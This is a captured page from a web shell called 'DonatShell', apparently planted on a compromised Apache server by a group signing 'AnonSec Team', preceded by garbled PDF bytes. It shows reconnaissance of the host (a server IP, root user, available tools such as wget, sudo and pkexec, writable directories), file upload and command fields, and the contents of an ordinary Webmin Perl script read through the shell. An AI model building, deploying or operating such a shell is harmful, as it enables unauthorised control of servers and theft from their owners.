%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/usr/share/webmin/phpini/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/thread-self/root/usr/share/webmin/phpini/save_misc.cgi
#!/usr/bin/perl
# Update misc PHP options

require './phpini-lib.pl';
&error_setup($text{'misc_err'});
&ReadParse();
&can_php_config($in{'file'}) || &error($text{'list_ecannot'});

&lock_file($in{'file'});
$conf = &get_config($in{'file'});

# Save tag styles
&save_directive($conf, "short_open_tag",
		$in{"short_open_tag"} || undef);
&save_directive($conf, "asp_tags",
		$in{"asp_tags"} || undef);

# Save output options
&save_directive($conf, "zlib.output_compression",
		$in{"zlib.output_compression"} || undef);
&save_directive($conf, "implicit_flush",
		$in{"implicit_flush"} || undef);

# Save URL open options
&save_directive($conf, "allow_url_fopen",
		$in{"allow_url_fopen"} || undef);

# Save email sending options
$in{"smtp_def"} || &to_ipaddress($in{"smtp"}) || &error($text{'misc_esmtp'});
&save_directive($conf, "SMTP",
		$in{"smtp_def"} ? undef : $in{"smtp"});
$in{"smtp_port_def"} || $in{"smtp_port"} =~ /^\d+$/ ||
	&error($text{'misc_esmtp_port'});
&save_directive($conf, "smtp_port",
		$in{"smtp_port_def"} ? undef : $in{"smtp_port"});

# Save sendmail program
if ($in{"sendmail_path_def"}) {
	&save_directive($conf, "sendmail_path", undef);
	}
else {
	($fp) = split(/\s+/, $in{"sendmail_path"});
	$fp || &error($text{'misc_esendmail2'})
	&has_command($fp) || &error($text{'misc_esendmail'});
	&save_directive($conf, "sendmail_path", $in{"sendmail_path"});
	}
 
# Save Include open options
&save_directive($conf, "allow_url_include",
	$in{"allow_url_include"} || undef);

# Save CGI Fix Path
&save_directive($conf, "cgi.fix_pathinfo",
	$in{"cgi.fix_pathinfo"} || undef);

# Save Timezone
&save_directive($conf, "date.timezone",
	$in{"date.timezone"} || undef);

# Save default charset
&save_directive($conf, "default_charset",
	$in{'default_charset_def'} ? undef : $in{'default_charset'});

&flush_file_lines_as_user($in{'file'}, undef, 1);
&unlock_file($in{'file'});
&graceful_apache_restart($in{'file'});
&webmin_log("misc", undef, $in{'file'});

&redirect("list_ini.cgi?file=".&urlize($in{'file'}));


Anon7 - 2022
AnonSec Team